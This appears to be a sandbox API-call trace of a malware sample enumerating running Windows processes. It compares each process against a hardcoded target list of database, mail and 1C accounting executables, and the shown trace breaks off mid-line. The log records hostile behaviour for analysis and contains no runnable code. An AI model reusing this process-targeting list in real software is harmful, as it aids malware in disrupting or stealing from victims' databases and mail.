[0063.960] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0063.961] lstrlenW (lpString="wininit.exe") returned 11 [0063.961] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0063.961] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0063.961] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0063.961] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0063.961] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0063.961] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0063.961] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0063.961] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.961] lstrlenW (lpString="csrss.exe") returned 9 [0063.961] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0063.962] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0063.962] lstrlenW (lpString="winlogon.exe") returned 12 [0063.962] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0063.963] lstrlenW (lpString="services.exe") returned 12 [0063.963] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0063.963] lstrlenW (lpString="lsass.exe") returned 9 [0063.963] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0063.964] lstrlenW (lpString="lsm.exe") returned 7 [0063.964] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.964] lstrlenW (lpString="svchost.exe") returned 11 [0063.964] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.965] lstrlenW (lpString="svchost.exe") returned 11 [0063.965] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.965] lstrlenW (lpString="svchost.exe") returned 11 [0063.965] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.966] lstrlenW (lpString="svchost.exe") returned 11 [0063.966] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.966] lstrlenW (lpString="svchost.exe") returned 11 [0063.967] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0063.967] lstrlenW (lpString="audiodg.exe") returned 11 [0063.967] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.968] lstrlenW (lpString="svchost.exe") returned 11 [0063.968] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.968] lstrlenW (lpString="svchost.exe") returned 11 [0063.968] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0063.969] lstrlenW (lpString="dwm.exe") returned 7 [0063.969] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0063.969] lstrlenW (lpString="explorer.exe") returned 12 [0063.969] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0063.970] lstrlenW (lpString="spoolsv.exe") returned 11 [0063.970] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.970] lstrlenW (lpString="svchost.exe") returned 11 [0063.970] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.971] lstrlenW (lpString="taskhost.exe") returned 12 [0063.971] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0063.971] lstrlenW (lpString="taskeng.exe") returned 11 [0063.971] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0063.972] lstrlenW (lpString="spoken.exe") returned 10 [0063.972] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0063.972] lstrlenW (lpString="cut baby kind.exe") returned 17 [0063.973] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0063.973] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0063.973] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0063.974] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0063.974] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0063.974] lstrlenW (lpString="things apt speaker.exe") returned 22 [0063.974] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0063.975] lstrlenW (lpString="longest.exe") returned 11 [0063.975] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0063.975] lstrlenW (lpString="liberty.exe") returned 11 [0063.975] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0063.976] lstrlenW (lpString="robust.exe") returned 10 [0063.976] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0063.976] lstrlenW (lpString="browse.exe") returned 10 [0063.976] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0063.977] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0063.977] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0063.977] lstrlenW (lpString="blocked.exe") returned 11 [0063.977] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0063.978] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0063.978] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0063.979] lstrlenW (lpString="reno.exe") returned 8 [0063.979] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0063.979] lstrlenW (lpString="vancouver.exe") returned 13 [0063.979] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0063.980] lstrlenW (lpString="africa.exe") returned 10 [0063.980] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0063.980] lstrlenW (lpString="ph-pos.exe") returned 10 [0063.980] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0063.981] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0063.981] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0063.981] lstrlenW (lpString="peaceful.exe") returned 12 [0063.981] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0063.982] lstrlenW (lpString="louise_threshold.exe") returned 20 [0063.982] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0063.982] lstrlenW (lpString="scannerhit.exe") returned 14 [0063.982] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0063.983] lstrlenW (lpString="3dftp.exe") returned 9 [0063.983] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0063.983] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0063.983] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0063.984] lstrlenW (lpString="alftp.exe") returned 9 [0063.984] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0063.984] lstrlenW (lpString="barca.exe") returned 9 [0063.984] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0063.985] lstrlenW (lpString="bitkinex.exe") returned 12 [0063.985] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0063.985] lstrlenW (lpString="coreftp.exe") returned 11 [0063.985] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0063.986] lstrlenW (lpString="far.exe") returned 7 [0063.986] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0063.986] lstrlenW (lpString="filezilla.exe") returned 13 [0063.986] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0063.987] lstrlenW (lpString="flashfxp.exe") returned 12 [0063.987] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0063.987] lstrlenW (lpString="fling.exe") returned 9 [0063.987] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0063.988] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0063.988] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0064.430] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0064.430] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0064.430] lstrlenW (lpString="icq.exe") returned 7 [0064.430] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0064.431] lstrlenW (lpString="leechftp.exe") returned 12 [0064.431] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0064.432] lstrlenW (lpString="ncftp.exe") returned 9 [0064.432] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0064.432] lstrlenW (lpString="notepad.exe") returned 11 [0064.432] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0064.433] lstrlenW (lpString="operamail.exe") returned 13 [0064.433] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0064.434] lstrlenW (lpString="pidgin.exe") returned 10 [0064.434] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0064.435] lstrlenW (lpString="scriptftp.exe") returned 13 [0064.435] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0064.436] lstrlenW (lpString="skype.exe") returned 9 [0064.436] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0064.437] lstrlenW (lpString="smartftp.exe") returned 12 [0064.437] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0064.437] lstrlenW (lpString="thunderbird.exe") returned 15 [0064.437] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0064.438] lstrlenW (lpString="totalcmd.exe") returned 12 [0064.438] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0064.439] lstrlenW (lpString="trillian.exe") returned 12 [0064.439] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0064.440] lstrlenW (lpString="webdrive.exe") returned 12 [0064.440] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0064.441] lstrlenW (lpString="whatsapp.exe") returned 12 [0064.441] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0064.441] lstrlenW (lpString="winscp.exe") returned 10 [0064.441] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0064.442] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0064.442] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0064.443] lstrlenW (lpString="active-charge.exe") returned 17 [0064.443] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0064.444] lstrlenW 